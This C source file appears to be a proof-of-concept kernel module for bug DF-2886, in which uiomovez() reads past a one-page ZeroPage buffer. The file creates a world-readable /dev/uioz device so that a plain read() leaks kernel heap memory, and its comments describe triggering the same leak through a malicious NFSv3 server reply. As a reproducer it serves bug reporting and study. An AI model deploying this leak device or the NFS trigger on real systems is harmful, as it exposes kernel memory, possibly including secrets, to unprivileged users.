/*
 * DF-2886 PoC: uiomovez() OOB read past ZeroPage -> kernel heap leak
 *
 * kern/kern_subr.c uiomovez() does:
 *      cnt = iov->iov_len; if (cnt > n) cnt = n;      // n up to 64KB+
 *      copyout(ZeroPage, iov->iov_base, cnt);          // ZeroPage is PAGE_SIZE!
 *
 * ZeroPage is allocated as exactly PAGE_SIZE bytes (kern_slaballoc.c:316):
 *      ZeroPage = kmem_slab_alloc(PAGE_SIZE, PAGE_SIZE, M_WAITOK|M_ZERO);
 *
 * Any cnt > PAGE_SIZE makes copyout read kernel heap past ZeroPage and
 * dump it into the user's iovec.  The only in-tree caller is the NFSv3
 * short-read zero-fill: nfs_vnops.c:1433  uiomovez(len - retlen, uiop)
 * with len = min(resid, nm_rsize) and default rsize = NFS_MAXDATA = 32768.
 *
 * This KLD reproduces the exact call the NFS client makes (retlen == 0):
 * a plain read() of the device turns into uiomovez(uio_resid, uio).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/uio.h>
#include <sys/devfs.h>

static int
uioz_open(struct dev_open_args *ap)
{
	return (0);
}

static int
uioz_read(struct dev_read_args *ap)
{
	struct uio *uio = ap->a_uio;
	int error;

	/* mirror nfs_vnops.c:1433 with a malicious server reply (retlen=0) */
	error = uiomovez(uio->uio_resid, uio);
	return (error);
}

static struct dev_ops uioz_ops = {
	{ "uioz", 0, 0 },
	.d_open = uioz_open,
	.d_read = uioz_read,
};

static cdev_t uioz_dev;

static int
uioz_modev(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		uioz_dev = make_dev(&uioz_ops, 0, UID_ROOT, GID_WHEEL,
				    0666, "uioz");
		kprintf("uioz: loaded, read /dev/uioz to trigger uiomovez\n");
		break;
	case MOD_UNLOAD:
		if (uioz_dev != NULL)
			destroy_dev(uioz_dev);
		break;
	default:
		break;
	}
	return (0);
}

DEV_MODULE(uioz, uioz_modev, NULL);
